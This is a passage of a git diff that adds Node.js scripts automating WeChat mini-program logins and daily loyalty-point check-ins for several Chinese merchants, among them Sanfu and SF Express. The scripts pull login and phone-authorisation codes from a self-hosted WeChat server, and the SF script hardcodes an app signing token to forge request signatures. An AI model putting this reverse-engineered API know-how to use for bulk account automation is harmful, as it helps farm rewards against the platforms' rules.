JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function extractToken(data) { + if (!data || typeof data !== "object") return ""; + const d = data.data || {}; + for (const key of ["token", "accessToken", "access_token", "jwt"]) { + const val = data[key] || d[key]; + if (val && String(val) !== "null") return String(val); + } + return ""; +} + +const isOk = (res) => Number(res?.errcode) === 0; +const msgOf = (res) => res?.errmsg || res?.msg || short(res); +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|60070013000332|already/i.test(String(t || "")); +const isAuthError = (res) => /登录|token|未授权|失效|过期|未登录|1041|401|403/i.test(msgOf(res)); +const needMember = (t) => /注册|未激活|会员|绑定|授权/.test(String(t || "")); +// 活动时间窗口相关(已结束/未开始/下线/不存在/无在用实例)——签到活动轮换或下线时命中 +const isActivityClosed = (t) => /活动未开始|活动已结束|活动不存在|活动已下线|活动未开启|活动已过期|活动结束|在用的OneCRM实例|OneCRM实例为空|60070012100039/.test(String(t || "")); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.wid = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + headers(extra = {}) { + const h = { + Host: "xapi.weimob.com", + "User-Agent": UA, + "Content-Type": "application/json", + Accept: "*/*", + Referer: `https://servicewechat.com/${MINI_APP_ID}/93/page-frame.html`, + "Accept-Language": "zh-CN,zh;q=0.9", + ...extra, + }; + if (this.token) h["X-WX-Token"] = this.token; + return h; + } + async request(apiPath, body, extra = {}) { + const res = await axios.request({ + method: "POST", url: `${BASE}${apiPath}`, data: body || {}, + headers: this.headers(extra), timeout: 20000, validateStatus: () => true, + }); + if (res.status !== 200) { + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + const body = { + appid: MINI_APP_ID, + basicInfo: { bosId: WEIMOB.bosId, cid: WEIMOB.cid, tcode: "weimob", vid: String(WEIMOB.vid) }, + env: "production", + extendInfo: { source: 1 }, + is_pre_fetch_open: true, + parentVid: 0, + pid: WEIMOB.bosId, + storeId: "0", + code, + queryAuthConfig: true, + }; + const res = await this.request(EP_LOGIN, body, LOGIN_HEADERS); + this.token = extractToken(res); + this.wid = String((res && res.data && res.data.wid) || ""); + if (!isOk(res) || !this.token) { + this.unregistered = true; + throw new Error(`NO_TOKEN:${msgOf(res)}`); + } + const cache = readCache(); + cache[this.account.openid] = { token: this.token, wid: this.wid, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log(`登录成功${this.wid ? ` (wid ${this.wid})` : ""}`); + } + bizBody() { + return { + appid: MINI_APP_ID, + basicInfo: { ...SIGN_BASIC_INFO }, + extendInfo: { ...SIGN_EXTEND_INFO }, + queryParameter: "null", + i18n: { language: "zh", timezone: "8" }, + pid: "", + storeId: "", + customInfo: { source: 0, wid: this.wid }, + }; + } + async checkSigned() { + const res = await this.request(EP_SIGN_STATUS, this.bizBody(), MERCHANT_HEADERS); + if (isOk(res)) { + const d = res.data || {}; + return { + ok: true, + signed: d.hasSign === true || d.isSign === true, + days: d.activityCumulativeSignDays ?? d.monthCumulativeSignDays ?? d.signedDate, + }; + } + return { ok: false, res }; + } + async doSign() { + return this.request(EP_SIGN, this.bizBody(), MERCHANT_HEADERS); + } + async queryPoints() { + try { + const body = { + appid: MINI_APP_ID, + basicInfo: { ...POINT_BASIC_INFO }, + extendInfo: { ...SIGN_EXTEND_INFO, refer: "cms-usercenter" }, + queryParameter: "null", + i18n: { language: "zh", timezone: "8" }, + pid: "", + storeId: "", + targetBasicInfo: { productInstanceId: WEIMOB.productInstanceId }, + request: {}, + }; + const res = await this.request(EP_POINT, body, MERCHANT_HEADERS); + if (isOk(res) && res.data) { + this.log(`积分 可用 ${res.data.availablePoint ?? 0}`); + } + } catch (e) { /* 积分为附带信息,失败不影响签到结论 */ } + } + async sign(retry = true) { + const st = await this.checkSigned(); + if (st.ok && st.signed) { + this.log(`✅ 今日已签到${st.days ? `,累计 ${st.days} 天` : ""}`); + await this.queryPoints(); + return; + } + if (!st.ok) { + if (isActivityClosed(msgOf(st.res)) || isActivityClosed(st.res && st.res.errcode)) { + this.log(`⚠️ 该商户当前无在用的 OneCRM 签到实例/活动已下线(${msgOf(st.res)})——登录、会员、积分接口均正常,仅签到活动被商户下线或轮换;服务端按 vid 解析活动为空,需商户重新上线签到活动(或从小程序抓取新的 productInstanceId/version)后方可签到`); + await this.queryPoints(); + return; + } + if (retry && isAuthError(st.res)) { + this.log("会话失效,重新登录后重试"); + this.token = ""; this.wid = ""; + await this.reloginOrMark(); + return this.sign(false); + } + if (needMember(msgOf(st.res))) { this.unregistered = true; throw new Error(`NO_MEMBER:${msgOf(st.res)}`); } + // 查询状态失败但非鉴权/会员问题:继续直接尝试签到 + this.log(`查询签到状态失败(${msgOf(st.res)}),直接尝试签到`); + } + + const res = await this.doSign(); + if (isOk(res)) { + const d = res.data || {}; + const fr = d.fixedReward || {}; + const er = d.extraReward || {}; + const rewards = []; + if ((fr.points || 0) > 0) rewards.push(`${fr.points}${d.pointName || "积分"}`); + if ((fr.growth || 0) > 0) rewards.push(`${fr.growth}${d.growthName || "成长值"}`); + if ((fr.amount || 0) > 0) rewards.push(`${fr.amount}元`); + if ((er.points || 0) > 0) rewards.push(`额外${er.points}${d.pointName || "积分"}`); + this.log(`✅ 签到成功${rewards.length ? `:${rewards.join("、")}` : ""}`); + await this.queryPoints(); + return; + } + if (isAlreadyDone(msgOf(res)) || isAlreadyDone(res && res.errcode)) { + this.log(`✅ 今日已签到(${msgOf(res)})`); + await this.queryPoints(); + return; + } + if (isActivityClosed(msgOf(res))) { + this.log(`⚠️ 签到活动当前未开启/已结束(${msgOf(res)})——该商户签到活动已轮换或到期,需从小程序重新抓取 productInstanceId/productVersionId 后更新配置;登录与状态查询均正常`); + return; + } + if (retry && isAuthError(res)) { + this.log("会话失效,重新登录后重试"); + this.token = ""; this.wid = ""; + await this.reloginOrMark(); + return this.sign(false); + } + if (needMember(msgOf(res))) { this.unregistered = true; throw new Error(`NO_MEMBER:${msgOf(res)}`); } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + async reloginOrMark() { + try { + await this.login(); + } catch (e) { + if (String(e.message).startsWith("NO_TOKEN")) { this.unregistered = true; throw new Error(`NO_MEMBER:${e.message.slice(9)}`); } + throw e; + } + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + this.wid = cached.wid || ""; + this.log("使用缓存token"); + return; + } + if (!this.token) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + const m = String(e.message || e); + if (m.startsWith("NO_TOKEN") || m.startsWith("NO_MEMBER")) { + this.log(`⚠️ 该微信号还没在红人库注册会员(${m.replace(/^NO_(TOKEN|MEMBER):/, "")}),先在小程序里注册一次再跑`); + return; + } + this.log(`执行失败: ${m}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/rytyn.js b/wxapp/rytyn.js new file mode 100644 index 00000000..7fed4353 --- /dev/null +++ b/wxapp/rytyn.js @@ -0,0 +1,212 @@ +/* +------------------------------------------ +@Description: 认养一头牛(牛奶卡商城) - 微信小程序手机号授权登录 + 每日签到 +cron: 17 9 * * * +------------------------------------------ +变量名:rytyn +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx0408f3f20d769a2f,host www.milkcard.mall.ryytngroup.com): +(迁移自 YYB-GO 系脚本,原脚本为“手机号授权登录”) + +登录 POST /mall/xhr/minilogin + body {encryptedData, offset:, wxCode:, code:<新式phoneCode>} + - encryptedData/offset(iv)/phoneCode 均取自 wx_server 的 /wx/getphonenumber + (data.raw.encryptedData / data.raw.iv / data.code) + - wxCode 取自 /wx/code,且【手机号授权在前、取code在后】以保证 session_key 一致(参 haitian.js) + -> token 在响应头 X-Auth-Token(或 body data.token / data.x-auth-token) +签到 POST /mall/xhr/task/checkin/save 头 X-Auth-Token: + -> code==200,data.{grade,phone,point}(该接口即“签到并返回状态”,幂等) +规则 GET /mall/xhr/task/checkin/getRule 头 X-Auth-Token:(辅助,可选) + +说明:本店为“手机号一键登录/注册”,minilogin 用授权手机号建号;无独立“未注册”态。 + 若 wx_server 取不到手机号,则无法登录,如实报告。不含任何作者个人凭证。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("认养一头牛签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "rytyn"; +const MINI_APP_ID = "wx0408f3f20d769a2f"; +const BASE_URL = "https://www.milkcard.mall.ryytngroup.com"; +const PAGE_VERSION = "323"; +const TOKEN_CACHE_FILE = path.join(__dirname, "rytyn_token_cache.json"); +const UA = + "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) " + + "Mobile/15E148 MicroMessenger/8.0.61(0x18003d24) NetType/4G Language/zh_CN"; + +const EP_LOGIN = "/mall/xhr/minilogin"; +const EP_CHECKIN = "/mall/xhr/task/checkin/save"; +const EP_RULE = "/mall/xhr/task/checkin/getRule"; + +const WX_SERVER_URL = process.env.wx_server_url || "http://192.168.31.196:8787"; +const WX_AUTH = process.env.wx_auth || ""; + +const wechat = new WeChatServer({ url: WX_SERVER_URL, appid: MINI_APP_ID, auth: WX_AUTH }); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 300) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function maskPhone(p) { + p = String(p || ""); + return p.length >= 11 ? `${p.slice(0, 3)}****${p.slice(-4)}` : p; +} +function maskToken(t) { + t = String(t || ""); + return t.length <= 12 ? t : `${t.slice(0, 6)}****${t.slice(-4)}`; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + // 直接 POST wx_server(wcs.js 只有 getCode,手机号要自己发) + async wxServer(endpoint) { + if (!WX_AUTH) throw new Error("缺少 wx_auth,无法从 wx_server 获取登录数据"); + const res = await axios.post( + `${WX_SERVER_URL}${endpoint}`, + { appid: MINI_APP_ID, openid: this.account.openid }, + { headers: { auth: WX_AUTH }, timeout: 45000, validateStatus: () => true } + ); + const d = res.data; + if (!d || d.status === false) throw new Error(`wx_server ${endpoint} 失败: ${d?.message || d?.error || short(d)}`); + return d; + } + // 手机号授权数据:encryptedData/iv(老式) + phoneCode(新式) + async getPhoneAuth() { + const d = await this.wxServer("/wx/getphonenumber"); + const env = d.data || d; + const raw = env.raw || {}; + const encryptedData = raw.encryptedData || env.encryptedData || ""; + const iv = raw.iv || env.iv || ""; + const phoneCode = env.code || d.code || raw.code || ""; + if (!encryptedData || !iv) throw new Error(`/wx/getphonenumber 未返回手机号加密数据: ${short(Object.keys(raw))} | ${short(env)}`); + return { encryptedData, iv, phoneCode }; + } + // 取 wx.login code(放在手机号之后,保证 session_key 一致) + async getWxCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const { encryptedData, iv, phoneCode } = await this.getPhoneAuth(); + const wxCode = await this.getWxCode(); + const body = { encryptedData, offset: iv, wxCode, code: phoneCode }; + const res = await axios.request({ + method: "POST", url: `${BASE_URL}${EP_LOGIN}`, data: body, + headers: { + "Content-Type": "application/json", Accept: "application/json", "User-Agent": UA, + Referer: `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + }, + timeout: 30000, validateStatus: () => true, + }); + // token 优先响应头 X-Auth-Token + let token = res.headers?.["x-auth-token"] || res.headers?.["X-Auth-Token"] || ""; + const b = res.data; + if (!token && b && typeof b === "object") { + const dd = b.data || {}; + token = dd.token || dd["x-auth-token"] || dd.xAuthToken || b.token || ""; + } + if (!token) { + const msg = (b && (b.msg || b.message)) || short(b); + throw new Error(`登录未返回 token: HTTP ${res.status} code=${b?.code} msg=${msg}`); + } + this.token = String(token); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log(`登录成功 token:${maskToken(this.token)}`); + } + async api(method, apiPath, payload) { + const res = await axios.request({ + method, url: `${BASE_URL}${apiPath}`, data: method === "GET" ? undefined : (payload || {}), + headers: { + "Content-Type": "application/json", Accept: "application/json", "User-Agent": UA, + "X-Auth-Token": this.token, + Referer: `https://servicewechat.com/${MINI_APP_ID}/305/page-frame.html`, + }, + timeout: 30000, validateStatus: () => true, + }); + return { status: res.status, data: res.data }; + } + isAuthErr(codeOrMsg) { + return /token|登录|未授权|失效|过期|未登录|鉴权|401|403/i.test(String(codeOrMsg)); + } + async sign(retry = true) { + // checkin/save = 签到并返回状态(幂等) + const { status, data } = await this.api("POST", EP_CHECKIN, {}); + const code = data && data.code; + const msg = (data && (data.msg || data.message)) || ""; + if (code === 200 || code === "200") { + const d = (data && data.data) || {}; + const parts = []; + if (d.point !== undefined) parts.push(`积分 ${d.point}`); + if (d.phone) parts.push(`手机 ${maskPhone(d.phone)}`); + if (d.grade !== undefined) parts.push(`等级 ${d.grade}`); + this.log(`✅ 签到成功${parts.length ? "(" + parts.join(",") + ")" : ""}`); + // 辅助拉一次规则(不影响结果) + try { await this.api("GET", EP_RULE); } catch (e) {} + return true; + } + if (/已签|签到过|重复|已完成|今日已/.test(String(msg))) { this.log(`✅ 今日已签到(${msg})`); return true; } + if (retry && (this.isAuthErr(code) || this.isAuthErr(msg) || status === 401 || status === 403)) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: HTTP ${status} code=${code} msg=${msg || short(data)}`); + return false; + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { this.token = cached.token; this.log("使用缓存token"); return; } + if (!this.token) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/sanf.js b/wxapp/sanf.js new file mode 100644 index 00000000..0b98e4e6 --- /dev/null +++ b/wxapp/sanf.js @@ -0,0 +1,156 @@ +/* +------------------------------------------ +@Description: 三福会员 - 微信小程序静默登录 + 每日签到 +cron: 43 8 * * * +------------------------------------------ +变量名:sanf +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wxfe13a2a5df88b058,host crm.sanfu.com): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录;鉴权用 sid,放在每个请求 body 里) + +登录 POST /ms-sanfu-wechat-customer-core/customer/core/wxMiniAppLogin + {code, appid, shoId:"", userId:"", sourceWxsceneid:1027, sourceUrl:"pages/ucenter_index/ucenter_index"} + -> code==200,data.sid +签到 POST /ms-sanfu-wechat-common/customer/onSign {signWay:0, sid} + -> code==200,data.fubi / data.onKeepSignDay;重复签到 code!=200 带提示 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("三福会员签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "sanf"; +const MINI_APP_ID = "wxfe13a2a5df88b058"; +const BASE = "https://crm.sanfu.com"; +const TOKEN_CACHE_FILE = path.join(__dirname, "sanf_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const EP_LOGIN = "/ms-sanfu-wechat-customer-core/customer/core/wxMiniAppLogin"; +const EP_SIGN = "/ms-sanfu-wechat-common/customer/onSign"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入缓存失败: ${e.message || e}`); + } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.sid = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async request(apiPath, body) { + const res = await axios.request({ + method: "POST", url: `${BASE}${apiPath}`, data: body || {}, + headers: { + Host: "crm.sanfu.com", "Content-Type": "application/json", + "User-Agent": USER_AGENT, xweb_xhr: "1", Accept: "*/*", + Referer: `https://servicewechat.com/${MINI_APP_ID}/385/page-frame.html`, + }, + timeout: 20000, validateStatus: () => true, + }); + if (res.status !== 200) { + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + const res = await this.request(EP_LOGIN, { code, appid: MINI_APP_ID, shoId: "", userId: "", sourceWxsceneid: 1027, sourceUrl: "pages/ucenter_index/ucenter_index" }); + if (Number(res?.code) !== 200) throw new Error(`登录失败: ${res?.msg || short(res)}`); + this.sid = String((res.data || {}).sid || ""); + if (!this.sid) throw new Error(`登录未返回 sid: ${short(res)}`); + const cache = readCache(); + cache[this.account.openid] = { sid: this.sid, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + async sign(retry = true) { + const res = await this.request(EP_SIGN, { signWay: 0, sid: this.sid }); + if (Number(res?.code) === 200) { + const d = res.data || {}; + return this.log(`✅ 签到成功,连续 ${d.onKeepSignDay ?? "?"} 天,获得 ${d.fubi ?? "?"} 福币`); + } + const msg = res?.msg || res?.message || short(res); + if (isAlreadyDone(msg)) return this.log(`✅ 今日已签到(${msg})`); + if (retry && /登录|sid|未授权|失效|过期|未登录|401/i.test(msg)) { + this.log("会话失效,重新登录后重试"); + this.sid = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msg}`); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.sid && cached.sid) { this.sid = cached.sid; this.log("使用缓存sid"); return; } + if (!this.sid) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/sf.js b/wxapp/sf.js new file mode 100644 index 00000000..bf1d2e9f --- /dev/null +++ b/wxapp/sf.js @@ -0,0 +1,263 @@ +/* +------------------------------------------ +@Description: 顺丰速运 - 微信小程序静默登录 + 每日签到(自动签到领包) +cron: 20 8 * * * +------------------------------------------ +变量名:sf +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(迁移自 YYB-GO 顺丰 Python,纯服务端可完成): + 小程序 appid = wxd4185d00bf7e08ac,publicId(原始ID) = gh_f9d9fca26a50 + 1) 取 wx code:wx_server /wx/code(appid=小程序) + 2) UCMP 登录:GET https://ucmp.sf-express.com/wxaccess/weixin/appOnLogin?code=&publicId= + -> JSON {sessionId, openid}(顺丰服务端做 code2session,无需明文 openid/手机号) + 3) 换绑补全业务 Cookie:GET .../wechat-act/weixin/activity/sfnewactivity?...&suuid= + 跟随重定向,收集 Cookie:sessionId / _login_mobile_ / _login_user_id_ + (拿不到 _login_mobile_/_login_user_id_ = 该微信号未注册/未绑定顺丰会员) + 4) 每日签到:POST https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/ + ~memberNonactivity~integralTaskSignPlusService~automaticSignFetchPackage + body {comeFrom:"vioin", channelFrom:"WEIXIN"} + 业务签名(每个 mcs-mimp 请求头): + signature = md5(`token=${TOKEN}×tamp=${ms}&sysCode=${SYS_CODE}`) + 头 {syscode:SYS_CODE, timestamp, signature} + TOKEN=wwesldfs29aniversaryvdld29 SYS_CODE=MCS-MIMP-CORE (应用级固定常量,非个人凭证) +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("顺丰速运签到"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "sf"; +const MINI_APP_ID = "wxd4185d00bf7e08ac"; // 小程序 appid(getCode 用) +const PUBLIC_ID = "gh_f9d9fca26a50"; // 小程序原始ID(appOnLogin 用) +const PAGE_VERSION = "663"; +const TOKEN = "wwesldfs29aniversaryvdld29"; // 应用级签名 token(固定常量) +const SYS_CODE = "MCS-MIMP-CORE"; +const UCMP_BASE = "https://ucmp.sf-express.com"; +const MCS_BASE = "https://mcs-mimp-web.sf-express.com"; +const TOKEN_CACHE_FILE = path.join(__dirname, "sf_token_cache.json"); + +const UA_MP = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) XWEB/19027"; +const UA_H5 = + "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 " + + "MicroMessenger/8.0.69(0x1800452d) NetType/WIFI Language/zh_CN"; + +// 签到接口 +const EP_SIGN = + "/mcs-mimp/commonPost/~memberNonactivity~integralTaskSignPlusService~automaticSignFetchPackage"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 240) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function md5(s) { return crypto.createHash("md5").update(s).digest("hex"); } +function signHeaders() { + const timestamp = String(Date.now()); + const signature = md5(`token=${TOKEN}×tamp=${timestamp}&sysCode=${SYS_CODE}`); + return { syscode: SYS_CODE, timestamp, signature }; +} + +// -------- cookie jar helpers (manual, no tough-cookie) -------- +function absorbSetCookie(setCookie, jar) { + if (!setCookie) return; + const arr = Array.isArray(setCookie) ? setCookie : [setCookie]; + for (const line of arr) { + const first = String(line).split(";")[0]; + const idx = first.indexOf("="); + if (idx > 0) { + const k = first.slice(0, idx).trim(); + const v = first.slice(idx + 1).trim(); + if (k && v && v !== "deleted") jar[k] = v; + } + } +} +function cookieHeader(jar) { + return Object.entries(jar).map(([k, v]) => `${k}=${v}`).join("; "); +} +async function getFollow(url, jar, headers, maxHops = 10) { + let curUrl = url; + let res = null; + for (let hop = 0; hop < maxHops; hop++) { + res = await axios.request({ + method: "GET", url: curUrl, + headers: { ...headers, Cookie: cookieHeader(jar) }, + maxRedirects: 0, timeout: 25000, validateStatus: () => true, + }); + absorbSetCookie(res.headers["set-cookie"], jar); + if (res.status >= 300 && res.status < 400 && res.headers.location) { + curUrl = new URL(res.headers.location, curUrl).toString(); + continue; + } + break; + } + return res; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.jar = {}; // 业务 cookie jar + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async appOnLogin(code) { + const res = await axios.request({ + method: "GET", url: `${UCMP_BASE}/wxaccess/weixin/appOnLogin`, + params: { code, publicId: PUBLIC_ID }, + headers: { + "User-Agent": UA_MP, Accept: "application/json, text/plain, */*", + Referer: `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + }, + timeout: 25000, validateStatus: () => true, + }); + absorbSetCookie(res.headers["set-cookie"], this.jar); + const j = res.data || {}; + const sessionId = j.sessionId || j.sessionID || (j.obj && j.obj.sessionId); + const openid = j.openid || j.openId || (j.obj && j.obj.openid); + if (!sessionId) throw new Error(`appOnLogin 未返回 sessionId: ${short(j)}`); + return { sessionId, openid }; + } + async enrichCookie(sessionId) { + // 换绑补全 _login_mobile_ / _login_user_id_ + this.jar.suuid = sessionId; + const bizCode = JSON.stringify({ + path: "/up-member/newPoints", linkCode: "SFAC20230803190840424", + supportShare: "YES", subCategoryCode: "1", from: "mypoint", categoryCode: "1", + }); + const url = `${UCMP_BASE}/wechat-act/weixin/activity/sfnewactivity?bizCode=${encodeURIComponent(bizCode)}` + + `®Source=mypoint&citycode=025&cityname=${encodeURIComponent("广州")}&wxapp-version=V17.49&suuid=${sessionId}`; + const res = await getFollow(url, this.jar, { + "User-Agent": UA_H5, + Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + }); + // 兜底再访问会员首页补 cookie + try { + await getFollow(`${MCS_BASE}/mcs-mimp/app/index.html`, this.jar, { "User-Agent": UA_H5 }); + } catch (e) {} + return res; + } + async login() { + const code = await this.getCode(); + const { sessionId } = await this.appOnLogin(code); + this.jar.sessionId = sessionId; + await this.enrichCookie(sessionId); + this.fromCache = false; + const mobile = this.jar._login_mobile_ || ""; + if (mobile) { + const cache = readCache(); + cache[this.account.openid] = { jar: this.jar, updatedAt: new Date().toISOString() }; + writeCache(cache); + 